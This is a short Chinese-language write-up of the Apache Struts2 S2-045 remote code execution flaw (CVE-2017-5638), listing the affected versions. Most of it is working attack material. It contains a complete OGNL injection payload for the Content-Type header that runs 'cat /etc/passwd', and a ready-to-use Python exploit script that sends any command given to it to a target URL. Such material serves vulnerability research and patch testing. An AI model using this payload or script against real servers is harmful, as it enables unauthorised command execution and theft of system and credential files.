Apache Struts2的Jakarta Multipart parser插件存在远程代码执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638。在使用基于Jakarta插件的文件上传功能时,修改HTTP请求头中的Content-Type值来触发该漏洞,导致远程执行代码。
Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution
#!/usr/bin/python # -*- coding: utf-8 -*- import urllib2 import httplib def exploit(url, cmd): payload = "%{(#_='multipart/form-data')." payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" try: headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} request = urllib2.Request(url, headers=headers) page = urllib2.urlopen(request).read() except httplib.IncompleteRead, e: page = e.partial print(page) return page if __name__ == '__main__': import sys if len(sys.argv) != 3: print("[*] struts2_S2-045.py <url> <cmd>") else: print('[*] CVE: 2017-5638 - Apache Struts2 S2-045') url = sys.argv[1] cmd = sys.argv[2] print("[*] cmd: %s\n" % cmd) exploit(url, cmd)